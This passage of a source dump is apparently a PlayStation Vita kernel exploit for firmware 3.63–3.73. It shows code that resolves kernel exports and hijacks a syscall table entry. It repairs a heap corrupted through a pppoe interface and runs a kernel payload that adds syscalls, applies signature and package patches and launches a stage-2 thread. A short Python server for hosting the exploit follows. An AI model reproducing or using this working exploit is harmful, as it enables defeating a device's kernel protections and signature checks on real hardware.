(u32_t)info.segments[0].vaddr); DACR_OFF(appmgr_size = (u32_t)info.segments[0].memsz); } if (strcmp(info.name, "SceIofilemgr") == 0) { iofilemgr_info = find_modinfo((u32_t)info.segments[0].vaddr, "SceIofilemgr"); } if (strcmp(info.name, "SceProcessmgr") == 0) { processmgr_info = find_modinfo((u32_t)info.segments[0].vaddr, "SceProcessmgr"); } } LOG("threadmgr_info: 0x%08x | sblauthmgr_info: 0x%08x | scenet_code: 0x%08x | scenet_data: 0x%08x | scenpdrm_info: 0x%08x", threadmgr_info, sblauthmgr_info, scenet_code, scenet_data, scenpdrm_info); DACR_OFF( hook_resume_sbl_F3411881 = find_export(sblauthmgr_info, 0xF3411881); hook_resume_sbl_89CCDA2C = find_export(sblauthmgr_info, 0x89CCDA2C); hook_resume_sbl_BC422443 = find_export(sblauthmgr_info, 0xBC422443); ksceKernelCpuIcacheAndL2WritebackInvalidateRange = find_export(sysmem_info, 0x73E895EA); ksceKernelCpuDcacheWritebackRange = find_export(sysmem_info, 0x9CB9F0CE); ksceIoOpen = find_export(iofilemgr_info, 0x75192972); ksceIoClose = find_export(iofilemgr_info, 0xf99dd8a3); ksceIoWrite = find_export(iofilemgr_info, 0x21ee91f0); ksceAppMgrLaunchAppByPath = find_export(appmgr_info, 0xB0A37065); ksceKernelLoadModule = find_export(modulemgr_info, 0x86D8D634); ksceKernelStartModule = find_export(modulemgr_info, 0x0675B682); ksceKernelSetSyscall = find_export(modulemgr_info, 0x2E4A10A0); ksceKernelFreeMemBlock = find_export(sysmem_info, 0x9e1c61); ksceKernelFindMemBlockByAddr = find_export(sysmem_info, 0x8a1742f6); ksceKernelCreateThread = find_export(threadmgr_info, 0xC6674E7D); ksceKernelStartThread = find_export(threadmgr_info, 0x21F5419B); ksceKernelExitDeleteThread = find_export(threadmgr_info, 0x1D17DECF); ksceKernelGetMemBlockBase = find_export(sysmem_info, 0xA841EDDA); ksceKernelGetProcessInfo = find_export(processmgr_info, 0x0AFF3EAE); ); // BEGIN 3.63-3.73 int *syscall_lo = (int *)(modulemgr_data + 0x2038c); DACR_OFF( syscall_table = (void **) (*((u32_t*)(modulemgr_data + 0x20388))); syscall_id = (*syscall_lo & 0xFFF) | 1; // id must not be x00 syscall_stub = (void *)(modulemgr_base + 0x9fc5); ); *syscall_lo = syscall_id + 5; // END 3.63-3.73 } #define MAGIC_BUSY 0x42755379 #define MAGIC_FREE 0x46724565 #define MAGIC_MAAK 0x4d61416b typedef struct chunk_header { uint32_t magic; uint32_t free_lr; uint32_t malloc_lr; uint32_t footer; struct chunk_header *next; struct chunk_header *prev; uint32_t size; uint32_t pad; } chunk_header_t; typedef struct chunk_footer { uint32_t magic; uint32_t pad; } chunk_footer_t; void fix_netps_heap(uint32_t iflist_addr) { // BEGIN 3.65-3.70 int (*getiflist)() = (void*)(scenet_code + 0x2fc1); int (*free)() = (void*)(scenet_code + 0x5b09); int (*control)() = (void*)(scenet_code + 0x89bd); int (*ifunit)() = (void*)(scenet_code + 0xf835); int (*if_clone_destroy)() = (void*)(scenet_code + 0xf905); int (*in_control)() = (void*)(scenet_code + 0x1ac15); int (*sce_psnet_bnet_mutex_unlock)() = (void*)(scenet_code + 0x2a3ed); int (*sce_psnet_bnet_mutex_lock)() = (void*)(scenet_code + 0x2a355); void *global_mutex = (void*)((u32_t)scenet_data + 0x850); void *heap_mutex = (void*)((u32_t)scenet_data + 0x88c); // END 3.65-3.70 /* // BEGIN 3.71-3.73 int (*free)() = (void*)(scenet_code + 0x5b05); int (*control)() = (void*)(scenet_code + 0x89ed); int (*if_clone_destroy)() = (void*)(scenet_code + 0xf935); int (*sce_psnet_bnet_mutex_unlock)() = (void*)(scenet_code + 0x2a41d); int (*sce_psnet_bnet_mutex_lock)() = (void*)(scenet_code + 0x2a385); void *global_mutex = (void*)((u32_t)scenet_data + 0x850); void *heap_mutex = (void*)((u32_t)scenet_data + 0x88c); // END 3.71-3.73 */ sce_psnet_bnet_mutex_lock(heap_mutex, 0); chunk_header_t *iflist_header = (chunk_header_t *)(iflist_addr - 0x20); chunk_header_t *split_header = (chunk_header_t *)(iflist_addr + 0x88); chunk_header_t *softc_header = (chunk_header_t *)(iflist_addr + 0x150); chunk_header_t *plant_header = (chunk_header_t *)(iflist_addr + 0x6c8); // Restore chunk headers and footers *(uint32_t *)((char *)iflist_header + sizeof(chunk_header_t) + iflist_header->footer) = MAGIC_MAAK; split_header->magic = MAGIC_BUSY; split_header->free_lr = 0; split_header->malloc_lr = 0; split_header->footer = 0xa0; split_header->next = softc_header; split_header->prev = iflist_header; split_header->size = split_header->footer + sizeof(chunk_footer_t); split_header->pad = 0; *(uint32_t *)((char *)split_header + sizeof(chunk_header_t) + split_header->footer) = MAGIC_MAAK; softc_header->magic = MAGIC_BUSY; softc_header->free_lr = 0; softc_header->malloc_lr = 0; softc_header->footer = 0x550; softc_header->next = plant_header; softc_header->prev = split_header; softc_header->size = softc_header->footer + sizeof(chunk_footer_t); softc_header->pad = 0; *(uint32_t *)((char *)softc_header + sizeof(chunk_header_t) + softc_header->footer) = MAGIC_MAAK; plant_header->magic = MAGIC_BUSY; plant_header->free_lr = 0; plant_header->malloc_lr = 0; plant_header->footer = 0x4000; plant_header->next = NULL; plant_header->prev = softc_header; plant_header->size = plant_header->footer + sizeof(chunk_footer_t); plant_header->pad = 0; // Find next busy chunk chunk_header_t *curr = plant_header; do { curr = (chunk_header_t *)((char *)curr + sizeof(chunk_header_t) + curr->size); } while (curr->magic != MAGIC_BUSY); plant_header->next = curr; // Restore pppoe softc from leak char *softc = (char *)softc_header + sizeof(chunk_header_t); memcpy(softc, (void *)(iflist_addr + 0x6e8 + 0x2000), 0x550); *(uint32_t *)(softc + 0x00) = (uint32_t)softc; *(uint32_t *)(softc + 0x0c) = 0; *(uint32_t *)(softc + 0x10) = 0; *(uint32_t *)(softc + 0xb0) = 0; *(uint32_t *)(softc + 0xb4) = 0; *(uint32_t *)(softc + 0x118) = 0; sce_psnet_bnet_mutex_unlock(heap_mutex); // Free iflist free(iflist_addr); // Free allocations uint32_t args[2]; args[0] = 0; control(NULL, 0x20000009, args, sizeof(args)); args[0] = 2; control(NULL, 0x20000009, args, sizeof(args)); args[0] = 3; control(NULL, 0x20000009, args, sizeof(args)); // Destroy clone interface if_clone_destroy("pppoe1337"); // Delete custom address char iflist[0x140 * 2]; getiflist(iflist, 2); char ifr[0x20]; memcpy(ifr, iflist + 0x140, 0x10); *(uint8_t *)(ifr + 0x10) = 0x10; *(uint8_t *)(ifr + 0x11) = 0x02; *(uint32_t *)(ifr + 0x14) = 0x13371337; void *ifp = (void *)ifunit(iflist + 0x140); in_control(NULL, 0x80206919, ifr, ifp, 0xDEADBEEF); // Unlock global mutex sce_psnet_bnet_mutex_unlock(global_mutex); } void start() __attribute__ ((weak, alias ("payload"))); void _start() __attribute__ ((weak, alias ("payload"))); void __attribute__ ((section (".text.start"))) payload(void *rx_block, uint32_t sysmem_addr, uint32_t iflist_addr) { // find sysmem base, etc uint32_t sysmem_base = sysmem_addr; int ret; // BEGIN 3.63-3.73 void (*debug_print_local)(char *s, ...) = (void*)(sysmem_base + 0x1A155); // END 3.63-3.73 DACR_OFF( debug_print = debug_print_local; ); LOG("+++ Entered kernel payload +++"); LOG("payload=0x%x, size=0x%x, sp=0x%x", payload, rx_size, &ret); LOG("resolving imports"); resolve_imports(sysmem_base); LOG("fixing netps heap"); fix_netps_heap(iflist_addr); LOG("set up syscalls starting at id: %x", syscall_id); add_syscalls(); LOG("getting shell pid"); DACR_OFF(shell_pid = get_shell_pid()); LOG("adding temporary patches"); find_ux0_data_path_addr(); temp_pkgpatches(); temp_sigpatches(); LOG("find rx block"); DACR_OFF( g_rx_block = ksceKernelFindMemBlockByAddr(rx_block, 0); ); LOG("flush changes"); void *base; ret = ksceKernelGetMemBlockBase(g_rx_block, &base); LOG("ksceKernelGetMemBlockBase: %x, %x", ret, base); ksceKernelCpuDcacheWritebackRange((uint32_t)base, 0x2000); int tid; LOG("starting kernel thread"); tid = ksceKernelCreateThread("stage2", thread_main, 64, 0x1000, 0, 0, 0); LOG("create tid: %x", tid); ret = ksceKernelStartThread(tid, 0, NULL); LOG("start thread: %x", ret); LOG("killing self"); ksceKernelExitDeleteThread(0); LOG("should not be here!"); while(1) {} } ================================================ FILE: server.py ================================================ #!/usr/bin/env python2 import socket import SocketServer, SimpleHTTPServer PORT = 8888 s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.connect(("gmail.com", 80)) localIP = s.getsockname()[0] s.close() print "Starting server on " + localIP + ":" + str(PORT) Handler = SimpleHTTPServer.SimpleHTTPRequestHandler server = SocketServer.TCPServer(('', PORT), Handler) server.serve_forever()